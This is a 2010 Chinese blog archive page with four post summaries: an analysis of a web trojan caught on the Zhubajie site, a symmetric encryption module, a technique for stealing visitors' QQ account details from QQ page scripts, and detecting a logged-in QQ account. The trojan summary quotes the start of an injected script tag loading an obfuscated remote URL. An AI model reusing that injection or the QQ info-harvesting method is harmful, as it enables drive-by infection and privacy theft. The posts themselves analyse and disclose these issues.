07 2010 档案

抓到一只网马，发文顺便鄙视下360
摘要：访问猪八戒网抓到一只马儿，具体不清楚是猪八戒被挂马还是内网在arp，由于阿根廷的出局没心情做分析，只贴上马儿的代码做个记录，顺便鄙视下垃圾的360 ，居然没任何反应，----------------------------------以下为简单的追踪马儿以及马儿代码部分访问猪八戒某页面返回信息：1<script language=javascript src= http://z%63C.r%... 阅读全文
posted @ 2010-07-04 01:56 lianghugg 阅读(1300) 评论(0) 推荐(0) 编辑
封装自己的对称加密模块
摘要：说明通过对Enterprise Library 5.0的学习，提取并修改一个适合自己使用的加密解密库；需要封装的库能支持大部分对称加密解密算法，使用DPAPI保证key的安全性，并且简单易懂方便使用；本文技术含量不高，基本只是抽取Enterprise Library 5.0的几个类，对代码稍作修改，并且给出使用演示示例！一，对称加密解密算法的了解，System.Security.Cryptogra... 阅读全文
posted @ 2010-07-03 10:00 lianghugg 阅读(742) 评论(0) 推荐(0) 编辑
漏洞无处不在之窃取你的QQ信息
摘要：申明以下在文章中出现的内容皆从技术角度探讨问题，请勿使用下文所提到的技术从事非法行为！ Thursday, July 01, 2010我的上一篇博客 《检测本地是否登录了指定QQ》 中介绍了通过QQ官方页面来获取已登陆QQ信息的方法，通过对QQ页面中js文件的研究，我们可以更进一步的获取到更多信息！下面我们就来一步一步分析下，首先来看一下上次文章中提到的js中的一个关键函数：hummer_load... 阅读全文
posted @ 2010-07-01 14:55 lianghugg 阅读(4054) 评论(5) 推荐(2) 编辑
检测本机是否登录了指定QQ账号
摘要：有时候做程序，喜欢把程序的注册与用户QQ号码绑定，程序仅允许登录成功了指定QQ账号时才可使用，为了实现这个目的，有人用API取QQ窗口、QQ托盘图标上的QQ账号，但是这个方法写起来比较麻烦，如果用户有意玩玩的话，也可以自己在你软件获取之前先用API修改你要获取的目标信息！还有一种方法就是内存读取，当然要找到一个QQ登录成功后存放QQ号码的地址，基址肯定是不存在的，再加之QQ更新频繁，所以内存读取的... 阅读全文
posted @ 2010-07-01 11:29 lianghugg 阅读(13250) 评论(3) 推荐(1) 编辑

点击右上角即可分享
微信分享提示